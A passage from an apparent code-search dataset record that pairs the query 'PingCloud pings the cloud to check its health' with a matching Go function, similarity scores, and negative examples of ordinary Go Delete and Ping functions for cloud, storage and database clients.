err\n\t}\n\n\t// Expecting a successful delete\n\tif !(resp.StatusCode == 200 || resp.StatusCode == 202 || resp.StatusCode == 204) {\n\t\terr = fmt.Errorf(\"Unexpected server response status code on Delete '%s'\", resp.StatusCode)\n\t\treturn\n\t}\n\n\treturn nil\n}", "func (be *s3) Delete() error {\n\talltypes := []backend.Type{\n\t\tbackend.Data,\n\t\tbackend.Key,\n\t\tbackend.Lock,\n\t\tbackend.Snapshot,\n\t\tbackend.Index}\n\n\tfor _, t := range alltypes {\n\t\terr := be.removeKeys(t)\n\t\tif err != nil {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\treturn be.Remove(backend.Config, \"\")\n}", "func (p ProviderDAO) Delete(provider models.Provider) error {\n\terr := db.C(COLLECTION).Remove(&provider)\n\treturn err\n}", "func (a *ExistingInfraMachineReconciler) delete(ctx context.Context, c *existinginfrav1.ExistingInfraCluster, machine *clusterv1.Machine, eim *existinginfrav1.ExistingInfraMachine) error {\n\tcontextLog := log.WithFields(log.Fields{\"machine\": machine.Name, \"cluster\": c.Name})\n\tcontextLog.Info(\"deleting machine...\")\n\taddr := a.getMachineAddress(eim)\n\tnode, err := a.findNodeByPrivateAddress(ctx, addr)\n\tif err != nil {\n\t\treturn gerrors.Wrapf(err, \"failed to find node by address: %s\", addr)\n\t}\n\t// Check if there's an adequate number of masters\n\tisMaster := isMaster(node)\n\tmasters, err := a.getMasterNodes(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif isMaster && len(masters) == 1 {\n\t\treturn errors.New(\"there should be at least one master\")\n\t}\n\tif err := drain.Drain(node, a.clientSet, drain.Params{\n\t\tForce: true,\n\t\tDeleteEmptyDirData: true,\n\t\tIgnoreAllDaemonSets: true,\n\t}); err != nil {\n\t\treturn err\n\t}\n\n\t//After deleting the k8s resource we need to reset the node so it can be readded later with a clean state.\n\t//best effort attempt to clean up the machine after deleting it.\n\ta.resetMachine(ctx, c, machine, eim)\n\n\tif err := a.Client.Delete(ctx, node); err != nil {\n\t\treturn err\n\t}\n\ta.recordEvent(machine, corev1.EventTypeNormal, \"Delete\", \"deleted machine %s\", machine.Name)\n\treturn nil\n}", "func (c *MockDisksClient) Delete(ctx context.Context, resourceGroupName, diskName string) error {\n\t// Ignore resourceGroupName for simplicity.\n\tif _, ok := c.Disks[diskName]; !ok {\n\t\treturn fmt.Errorf(\"%s does not exist\", diskName)\n\t}\n\tdelete(c.Disks, diskName)\n\treturn nil\n}", "func (api *snapshotrestoreAPI) SyncDelete(obj *cluster.SnapshotRestore) error {\n\tvar writeErr error\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, writeErr = apicl.ClusterV1().SnapshotRestore().Delete(context.Background(), &obj.ObjectMeta)\n\t}\n\n\tif writeErr == nil {\n\t\tapi.ct.handleSnapshotRestoreEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\n\t}\n\n\treturn writeErr\n}", "func (g *gcs) Delete(ctx context.Context, remotePath string) (err error) {\n\tif err = g.bucket.Object(remotePath).Delete(g.context); err != nil {\n\t\treturn err\n\t}\n\n\treturn\n}", "func (m *cloudManager) ListClouds() ([]api.Cloud, error) {\n\treturn m.ds.FindAllClouds()\n}", "func (s *Service) Delete(ctx context.Context) error {\n\tlog := log.FromContext(ctx)\n\tlog.Info(\"Deleting instance resources\")\n\tinstanceSpec := s.scope.InstanceSpec(log)\n\tinstanceName := instanceSpec.Name\n\tinstanceKey := meta.ZonalKey(instanceName, s.scope.Zone())\n\tlog.V(2).Info(\"Looking for instance before deleting\", \"name\", instanceName, \"zone\", s.scope.Zone())\n\tinstance, err := s.instances.Get(ctx, instanceKey)\n\tif err != nil {\n\t\tif !gcperrors.IsNotFound(err) {\n\t\t\tlog.Error(err, \"Error looking for instance before deleting\", \"name\", instanceName)\n\t\t\treturn err\n\t\t}\n\n\t\treturn nil\n\t}\n\n\tif s.scope.IsControlPlane() {\n\t\tif err := s.deregisterControlPlaneInstance(ctx, instance); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tlog.V(2).Info(\"Deleting instance\", \"name\", instanceName, \"zone\", s.scope.Zone())\n\treturn gcperrors.IgnoreNotFound(s.instances.Delete(ctx, instanceKey))\n}", "func (client *GCSBlobstore) Delete(dest string) error {\n\tif client.readOnly() {\n\t\treturn ErrInvalidROWriteOperation\n\t}\n\n\terr := client.getObjectHandle(client.authenticatedGCS, dest).Delete(context.Background())\n\tif err == storage.ErrObjectNotExist {\n\t\treturn nil\n\t}\n\treturn err\n}", "func (zk *dbZk) Delete(path string) error {\n\tvar failed bool\n\tvar existed bool\n\tvar err error\n\tstarted := time.Now()\n\n\texisted, err = zk.ZkCli.Exist(path)\n\tif err != nil {\n\t\tfailed = true\n\t}\n\n\tif existed {\n\t\terr = zk.ZkCli.Del(path, -1)\n\t\tif err != nil {\n\t\t\tfailed = true\n\t\t}\n\t}\n\n\tstore.ReportStorageOperatorMetrics(store.StoreOperatorDelete, started, failed)\n\treturn err\n}", "func (c *Client) Delete(url string, resType interface{}) error {\n\treturn c.CallAPI(\"DELETE\", url, nil, resType, true)\n}", "func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\r\n\t_, r.Err = client.Delete(deleteURL(client, id), nil)\r\n\treturn\r\n}", "func ProjectDelete(pid interface{}) error {\n\t_, err := lab.Projects.DeleteProject(pid)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (s *server) Delete(ctx context.Context, body *pb.NameHolder) (*pb.DeletionResponse, error) {\n\tappName := body.GetName()\n\tfilter := types.M{\n\t\tmongo.NameKey: appName,\n\t\tmongo.InstanceTypeKey: mongo.AppInstance,\n\t}\n\n\tnode, _ := redis.FetchAppNode(appName)\n\tgo redis.DecrementServiceLoad(ServiceName, node)\n\tgo redis.RemoveApp(appName)\n\tgo diskCleanup(appName)\n\n\tif configs.CloudflareConfig.PlugIn {\n\t\tgo cloudflare.DeleteRecord(appName, mongo.AppInstance)\n\t}\n\n\t_, err := mongo.DeleteInstance(filter)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &pb.DeletionResponse{Success: true}, nil\n}", "func (v VirtualMachine) Delete() error {\n\ttctx, tcancel := context.WithTimeout(context.Background(), time.Minute*5)\n\tdefer tcancel()\n\n\tpowerState, err := v.vm.PowerState(context.Background())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Getting power state: %s\", powerState)\n\t}\n\n\tif powerState == \"poweredOn\" || powerState == \"suspended\" {\n\t\tpowerOff, err := v.vm.PowerOff(context.Background())\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Shutting down virtual machine: %s\", err)\n\t\t}\n\n\t\terr = powerOff.Wait(tctx)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Waiting for machine to shut down: %s\", err)\n\t\t}\n\t}\n\n\tdestroy, err := v.vm.Destroy(context.Background())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Destroying virtual machine: %s\", err)\n\t}\n\n\terr = destroy.Wait(tctx)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Waiting for machine to destroy: %s\", err)\n\t}\n\n\treturn nil\n}", "func (p *cinderProvisioner) Delete(pv *v1.PersistentVolume) error {\n\tann, ok := pv.Annotations[provisionerIDAnn]\n\tif !ok {\n\t\treturn errors.New(\"identity annotation not found on PV\")\n\t}\n\tif ann != p.identity {\n\t\treturn &controller.IgnoredError{\n\t\t\tReason: \"identity annotation on PV does not match ours\",\n\t\t}\n\t}\n\t// TODO when beta is removed, have to check kube version and pick v1/beta\n\t// accordingly: maybe the controller lib should offer a function for that\n\n\tvolumeID, ok := pv.Annotations[cinderVolumeID]\n\tif !ok {\n\t\treturn errors.New(cinderVolumeID + \" annotation not found on PV\")\n\t}\n\n\tctx := deleteCtx{p, pv}\n\tmapper, err := newVolumeMapperFromPV(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmapper.AuthTeardown(ctx)\n\n\terr = disconnectCinderVolume(p, volumeID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = unreserveCinderVolume(p, volumeID)\n\tif err != nil {\n\t\t// TODO: Create placeholder PV?\n\t\tglog.Errorf(\"Failed to unreserve volume: %v\", err)\n\t\treturn err\n\t}\n\n\terr = deleteCinderVolume(p, volumeID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tglog.V(2).Infof(\"Successfully deleted cinder volume %s\", volumeID)\n\treturn nil\n}", "func (l *Libvirt) StoragePoolDelete(Pool StoragePool, Flags StoragePoolDeleteFlags) (err error) {\n\tvar buf []byte\n\n\targs := StoragePoolDeleteArgs {\n\t\tPool: Pool,\n\t\tFlags: Flags,\n\t}\n\n\tbuf, err = encode(&args)\n\tif err != nil {\n\t\treturn\n\t}\n\n\n\t_, err = l.requestStream(81, constants.Program, buf, nil, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func (controller *EchoController) Delete(context *qhttp.Context) {\n\tcontroller.Get(context)\n}" ]
[ "0.78004485", "0.6621369", "0.6118169", "0.59255344", "0.58194435", "0.57293665", "0.5630269", "0.55803317", "0.55161494", "0.54982334", "0.5486809", "0.5447681", "0.5434831", "0.54257137", "0.5424664", "0.54219127", "0.54157925", "0.5395865", "0.53480345", "0.5310983", "0.52858436", "0.52712905", "0.52603173", "0.52564657", "0.52482", "0.52349275", "0.521525", "0.51987964", "0.5171475", "0.51650083", "0.5158792", "0.515834", "0.51525354", "0.5120646", "0.51189697", "0.5113621", "0.5108358", "0.5100087", "0.50969136", "0.50947386", "0.5093766", "0.5085745", "0.50830656", "0.50799733", "0.50796956", "0.50710964", "0.5068973", "0.5068728", "0.5064341", "0.50590205", "0.5051633", "0.50489175", "0.5037302", "0.5032167", "0.50320053", "0.5029028", "0.50278366", "0.5027298", "0.5025991", "0.5024109", "0.50152594", "0.5004043", "0.49975175", "0.49975085", "0.49948952", "0.49940205", "0.49781182", "0.49727938", "0.4967319", "0.49529067", "0.49431306", "0.49334583", "0.49281812", "0.49270225", "0.49226746", "0.49092373", "0.49089187", "0.49082062", "0.4907744", "0.49036098", "0.4898602", "0.48969805", "0.48937616", "0.4892253", "0.48898113", "0.4884395", "0.48841566", "0.48821378", "0.48814708", "0.48782882", "0.4876719", "0.4875564", "0.4870923", "0.48708054", "0.48688287", "0.486636", "0.48655236", "0.4863985", "0.48614585", "0.48602456" ]
0.7406859
1
PingCloud pings the cloud to check its health.
func (m *cloudManager) PingCloud(name string) error { c, err := m.ds.FindCloudByName(name) if err != nil { return httperror.ErrorContentNotFound.Format(name) } cp, err := cloud.NewCloudProvider(c) if err != nil { return err } return cp.Ping() }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (cloud *K8SCloud) Ping() error {\n\t_, err := cloud.client.CoreV1().Pods(cloud.namespace).List(meta_v1.ListOptions{})\n\treturn err\n}", "func (client *activeClient) Ping(c *ishell.Context) error {\n\treturn client.RPC.Call(\"API.Ping\", void, &void)\n}", "func (c Client) Ping() (err error) {\n\tvar pr PingResponse\n\terr = c.decodeResponse(\"ping\", \"GET\", nil, &pr)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif pr.Result != \"success\" {\n\t\treturn errors.New(pr.Message) // there will be a message, if it failed\n\t}\n\n\treturn\n}", "func (c *Client) Ping() error {\n\treturn c.request(\"GET\", \"/ping\", nil)\n}", "func (c *Client) Ping() error {\n\treturn c.Client.Ping(ctx, nil)\n}", "func (c *Connector) Ping() (err error) {\n\turl, err := c.getURL(\"\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, _ := http.NewRequest(\"GET\", url, nil)\n\treq.Header.Add(\"content-type\", \"application/json\")\n\treq.Header.Add(\"cache-control\", \"no-cache\")\n\n\tres, err := c.getHTTPClient().Do(req)\n\tif err != nil {\n\t\treturn err\n\t} else if res.StatusCode != http.StatusOK {\n\t\tdefer res.Body.Close()\n\t\tbody, _ := ioutil.ReadAll(res.Body)\n\t\terr = fmt.Errorf(\"%s\", string(body))\n\t}\n\treturn err\n}", "func (c *Client) Ping() error {\n\tu := c.endpoint\n\tu.Path = `/`\n\treq, err := http.NewRequest(\"GET\", u.String(), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tresp, err := c.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tio.Copy(os.Stdout, resp.Body)\n\treturn nil\n}", "func (s *Service) Ping(c context.Context) (err error) {\n\t// TODO\n\treturn\n}", "func Ping(w http.ResponseWriter, r *http.Request) {\n\n\t// Get rid of warnings\n\t_ = r\n\n\t// Sets your Google Cloud Platform project ID.\n\tprojectId := os.Getenv(\"GCP_PROJECT\")\n\tif projectId == \"\" {\n\t\thttp.Error(w, fmt.Sprintf(\"GCP_PROJECT environment variable unset or missing\"), http.StatusInternalServerError)\n\t}\n\n\t// Get a Firestore client.\n\tctx := context.Background()\n\tclient, err := firestore.NewClient(ctx, projectId)\n\tif err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"failed to create client: %v\", err), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tdefer client.Close()\n\n\t// Send response\n\t_, err = fmt.Fprintf(w, \"OK\")\n\tif err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"failed to write response: %s\", err), http.StatusInternalServerError)\n\t}\n}", "func (c *HTTPClient) Ping() (bool, error) {\n\tres, err := utils.HTTPRequest(\"GET\",\n\t\tfmt.Sprintf(\"%v/health\", c.serverEndpoint),\n\t\tnil,\n\t\tnil,\n\t\tc.ticket,\n\t)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer res.Body.Close()\n\n\tif res.StatusCode == http.StatusOK {\n\t\treturn true, nil\n\t} else {\n\t\treturn false, fmt.Errorf(ErrorMsg(res))\n\t}\n}", "func (s *Service) Ping(c context.Context) (err error) {\n\treturn\n}", "func (a *API) Ping(ctx context.Context) (*PingResult, error) {\n\tres := &PingResult{}\n\t_, err := a.get(ctx, ping, nil, res)\n\n\treturn res, err\n}", "func (sdk *SDK) Ping() error {\n\treturn sdk.Verify()\n}", "func (ghost *Ghost) Ping() error {\n\tpingHandler := func(res *Response) error {\n\t\tif res == nil {\n\t\t\tghost.reset = true\n\t\t\treturn errors.New(\"Ping timeout\")\n\t\t}\n\t\treturn nil\n\t}\n\treq := NewRequest(\"ping\", nil)\n\treq.SetTimeout(pingTimeout)\n\treturn ghost.SendRequest(req, pingHandler)\n}", "func (s *RPC) Ping(ctx context.Context) (bool, error) {\n\treturn true, nil\n}", "func (a *Client) Ping(params *PingParams, authInfo runtime.ClientAuthInfoWriter) (*PingOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewPingParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"ping\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &PingReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*PingOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for ping: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}", "func (c *client) Ping() (bool, error) {\n\tif _, err := c.RbacV1().Roles(\"\").List(metav1.ListOptions{}); err != nil {\n\t\treturn false, nil\n\t}\n\n\tif _, err := c.AppsV1().Deployments(\"\").List(metav1.ListOptions{}); err != nil {\n\t\treturn false, nil\n\t}\n\n\tif _, err := c.PolicyV1beta1().PodSecurityPolicies().List(metav1.ListOptions{}); err != nil {\n\t\treturn false, nil\n\t}\n\n\treturn true, nil\n}", "func (p *KiteHTTPPinger) Ping() Status {\n\tres, err := p.Client.Get(p.Address)\n\tif err != nil {\n\t\treturn Failure\n\t}\n\tdefer res.Body.Close()\n\n\tresData, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn Failure\n\t}\n\n\tif string(resData) != kiteHTTPResponse {\n\t\treturn Failure\n\t}\n\n\treturn Success\n}", "func (c *Cluster) Ping() bool {\n\ttr := &http.Transport{\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\tDialContext: (&net.Dialer{\n\t\t\tTimeout: time.Second,\n\t\t}).DialContext,\n\t}\n\tclient := &http.Client{Transport: tr}\n\treq, err := http.NewRequest(\"GET\", c.Server, nil)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn false\n\t}\n\tdefer resp.Body.Close()\n\n\treturn true\n}", "func (c *Client) Ping(checkAllMetaServers bool) error {\n\tc.mu.RLock()\n\tserver := c.metaServers[0]\n\tc.mu.RUnlock()\n\turl := c.url(server) + \"/ping\"\n\tif checkAllMetaServers {\n\t\turl = url + \"?all=true\"\n\t}\n\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif resp.StatusCode == http.StatusOK {\n\t\treturn nil\n\t}\n\n\tb, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn fmt.Errorf(string(b))\n}", "func (c *Client) Ping() error {\n\t_, err := c.Exec(\"ping\")\n\treturn err\n}", "func (c *Client) Ping() bool {\n\turl := fmt.Sprintf(\"%sping\", c.URL)\n\t_, code, err := c.query(url)\n\tif err != nil {\n\t\treturn false\n\t}\n\tif code == 200 {\n\t\treturn true\n\t}\n\treturn false\n}", "func Ping(hostname string, tube string) {\n\tc := connect(hostname)\n\tc.Tube = beanstalk.Tube{c, tube}\n\tbody := []byte(\"check_beanstalk_ping\")\n\n\tputid, err := c.Put(body, 1, 0, 5*time.Second)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"Put failed: %s\\n\", err)\n\t\tos.Exit(2)\n\t}\n\n\tp, err := c.Peek(putid)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"Peek failed: %s\\n\", err)\n\t\tos.Exit(2)\n\t}\n\n\tc.Delete(putid)\n\n\tif bytes.Equal(p, body) != true {\n\t\tfmt.Fprintf(os.Stderr, \"Unknown jobs in test tube\\n\")\n\t\tos.Exit(2)\n\t}\n\n\tfmt.Fprintf(os.Stderr, \"PUT->Peek OK\\n\")\n\tos.Exit(0)\n}", "func (a *Client) Ping(params *PingParams) (*PingOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewPingParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"Ping\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/ping\",\n\t\tProducesMediaTypes: []string{\"text/plain\"},\n\t\tConsumesMediaTypes: []string{\"text/plain\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &PingReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*PingOK), nil\n\n}", "func (c *Client) Ping() bool {\n\tendpoint := fmt.Sprintf(\"%s/_ping\", baseAddr)\n\tr, err := c.http.Get(endpoint)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn statusCode(r.StatusCode, http.StatusOK) == nil\n}", "func (r *vtmClient) Ping() (bool, error) {\n\tif err := r.apiGet(vtmAPIPing, nil, nil); err != nil {\n\t\treturn false, err\n\t}\n\treturn true, nil\n}", "func (d *Dao) Ping(c context.Context) (err error) {\n\tif err = d.DB.DB().Ping(); err != nil {\n\t\tlog.Error(\"dao.cloudDB.Ping() error(%v)\", err)\n\t\treturn\n\t}\n\treturn\n}", "func (c *Conn) Ping() error {\n\tresponse := c.client.Cmd(cmdPing)\n\tif !isOK(response) {\n\t\treturn errx.Errorf(\"ping command failed\")\n\t}\n\treturn nil\n}", "func (s *Service) Ping() (err error) {\n\treturn\n}", "func (s *Service) Ping(c context.Context) (err error) {\n\treturn s.dao.Ping(c)\n}", "func (s *Service) Ping(c context.Context) (err error) {\n\treturn s.dao.Ping(c)\n}", "func (c *Client) Ping(ctx context.Context) error {\n\treturn c.conn.Ping(ctx)\n}", "func (c Connector) Ping() string {\n\tpong, err := c.Client.Ping().Result()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn pong\n}", "func (con *GuestHandler) Ping(c echo.Context) (err error) {\n\t// Server is up and running, return OK!\n\treturn c.String(http.StatusOK, \"Pong\")\n}", "func (finux *Finux) Ping() (err error) {\n\terr = finux.do(\"ping\", http.MethodGet, nil, nil)\n\treturn\n}", "func (a *Client) Ping(params *PingParams) (*PingOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewPingParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"Ping\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/ping\",\n\t\tProducesMediaTypes: []string{\"text/plain\"},\n\t\tConsumesMediaTypes: []string{\"text/plain\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &PingReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*PingOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\tunexpectedSuccess := result.(*PingDefault)\n\treturn nil, runtime.NewAPIError(\"unexpected success response: content available as default response in error\", unexpectedSuccess, unexpectedSuccess.Code())\n}", "func (a *Client) Ping(params *PingParams) (*PingOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewPingParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"ping\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/ping\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\"},\n\t\tParams: params,\n\t\tReader: &PingReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*PingOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for ping: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}", "func (c *client) Ping() (*Status, error) {\n\tvar (\n\t\tstatus Status\n\n\t\terr = c.Get(\"ping\").Json(&status)\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &status, nil\n}", "func (b *Backend) Ping(ctx context.Context, req *dashboard.Hello) (*dashboard.Pong, error) {\n\tif req.GetMessage() == \"Expect-Error\" {\n\t\treturn nil, newStatus(codes.Canceled, \"operation canceled because client sent Expect-Error\").err()\n\t}\n\treturn &dashboard.Pong{\n\t\tReply: req.GetMessage(),\n\t}, nil\n}", "func (s *Service) Ping(c context.Context) (err error) {\n\treturn s.d.Ping(c)\n}", "func (s *Service) Ping(c context.Context) (err error) {\n\treturn s.d.Ping(c)\n}", "func (s *Service) Ping(c context.Context) (err error) {\n\tif err = s.dao.Ping(c); err != nil {\n\t\treturn\n\t}\n\treturn\n}", "func (pc *PanicController) Ping(c *gin.Context) {\n\tlog.Println(\"ping pong\")\n\tc.String(http.StatusOK, \"pong\")\n}", "func (s *SimpleHandler) Ping() (*computing.StatusOfService, error) {\n\tfmt.Print(\"Pong!\\n\")\n\treturn &computing.StatusOfService{Version: \"0.0.1\", Network: \"9090\"}, nil\n}", "func (s *Service) Ping(c context.Context) (err error) {\n\tif err = s.d.Ping(c); err != nil {\n\t\treturn\n\t}\n\treturn\n}", "func Ping(c *gin.Context) {\n\tresponse := types.APIResponse{Msg: \"Pong\", Success: true}\n\tc.JSON(http.StatusOK, response)\n}", "func (d *dao) Ping(ctx context.Context) (err error) {\n\treturn nil\n}", "func (s *Service) Ping(c context.Context) (err error) {\n\terr = s.dao.Ping(c)\n\treturn\n}", "func (registry *Registry) Ping(ctx context.Context) error {\n\turl := registry.url(\"/v2/\")\n\tregistry.Logf(\"registry.ping url=%s\", url)\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tresp, err := registry.Client.Do(req.WithContext(ctx))\n\tif resp != nil {\n\t\tdefer resp.Body.Close()\n\t}\n\treturn err\n}", "func (r *RPC) Ping(c context.Context, arg *struct{}, res *struct{}) (err error) {\n\treturn\n}", "func (r *RPC) Ping(c context.Context, arg *struct{}, res *struct{}) (err error) {\n\treturn\n}", "func (s *Service) Ping(ctx context.Context) (err error) {\n\treturn s.dao.Ping(ctx)\n}", "func (s *Service) Ping(ctx context.Context) error {\n\treturn s.dao.Ping(ctx)\n}", "func (app *App) Ping(args []string) error {\n\treturn errors.Wrap(app.Send(osc.Message{Address: \"/ping\"}), \"sending ping\")\n}", "func (c *Connection) Ping(ctx context.Context) (time.Duration, error) {\n\tresp, err := c.Request(ctx).\n\t\tGet(\"/status\")\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn resp.Time(), nil\n}", "func Ping(c *gin.Context) {\n\tc.String(http.StatusOK, \"%s\", \"pong\")\n}", "func (a API) Ping(cmd *None) (e error) {\n\tRPCHandlers[\"ping\"].Call <-API{a.Ch, cmd, nil}\n\treturn\n}", "func (c *Conn) Ping(ctx context.Context) error {\n\treturn nil // TODO(TimSatke): implement\n}", "func Ping(proxyAddr string, insecure bool, pool *x509.CertPool, connectorName string) (*PingResponse, error) {\n\tclt, _, err := initClient(proxyAddr, insecure, pool)\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tendpoint := clt.Endpoint(\"webapi\", \"ping\")\n\tif connectorName != \"\" {\n\t\tendpoint = clt.Endpoint(\"webapi\", \"ping\", connectorName)\n\t}\n\n\tresponse, err := clt.Get(endpoint, url.Values{})\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tvar pr *PingResponse\n\terr = json.Unmarshal(response.Bytes(), &pr)\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\treturn pr, nil\n}", "func (c *Client) Ping() error {\n\treturn c.Client.DB().Ping()\n}", "func (ec *edgexClient) Ping() (string, error) {\n\turl := ec.url + \"ping\"\n\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(body), nil\n}", "func (this *DB_c) Ping () error {\n\tif this.DB == nil { return nil } // this is bad\n\n\tout := \"\"\n\tif err := this.locErr (this.DB.Do (radix.Cmd(&out, \"PING\"))); err == nil {\n\t\tif out == \"PONG\" { return nil }\n\t\treturn errors.WithStack (ErrPingFailed)\n\t} else {\n\t\treturn err\n\t}\n}", "func (s *Service) Ping(c context.Context) (err error) {\n\treturn s.zdb.Ping(c)\n}", "func Ping(c *gin.Context) {\n\tc.JSON(200, gin.H{\n\t\t\"message\": \"pong\",\n\t})\n}", "func (m *MongoDB) Ping(connectOnFailure bool) (err error) {\n\n\tif err = m.client.Ping(context.TODO(), nil); err != nil {\n\n\t\tif connectOnFailure {\n\t\t\terr = m.Init()\n\t\t}\n\t}\n\n\treturn\n}", "func (tc *TestClient) Ping(data string) error {\n\treturn tc.WsConnection.WriteControl(websocket.PingMessage, []byte(data), time.Now().Add(time.Second))\n}", "func (p *Pinger) Ping() error {\r\n\tconn, err := p.NewConn()\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\tp.conn = conn\r\n\tfor i := 0; i < p.amt; i++ {\r\n\t\terr = p.SendOnePing(i, conn)\r\n\t}\r\n\treturn err\r\n}", "func (s *Service) Ping(c context.Context) (err error) {\n\treturn s.wallDao.Ping(c)\n}", "func ping(c echo.Context) error {\n\treturn c.String(http.StatusOK, \"pong\")\n}", "func Ping() error {\n\tc, err := Connect()\n\tdefer c.Close()\n\n\treturn err\n}", "func (p *Endpoint) Ping() error {\n\treturn p.send(p.session, p.encodePingCmd())\n}", "func ping(c *bm.Context) {\n\tif err := Svc.Ping(c); err != nil {\n\t\tlog.Error(\"svr.Ping error(%v)\", err)\n\t\tc.AbortWithStatus(http.StatusServiceUnavailable)\n\t}\n}", "func (c *Client) Ping(ping string) {\n\tvar (\n\t\targ = ReqKeepAlive{}\n\t\treply = RespKeepAlive{}\n\t\terr error\n\t)\n\n\tfor {\n\t\tselect {\n\t\tcase <-c.quit:\n\t\t\tgoto closed\n\t\tdefault:\n\t\t}\n\n\t\tif c.Client != nil && c.err == nil {\n\t\t\tif err = c.Call(ping, &arg, &reply); err != nil {\n\t\t\t\tc.err = err\n\t\t\t\tif err != rpc.ErrShutdown {\n\t\t\t\t\tc.Client.Close()\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif err = c.dial(); err == nil 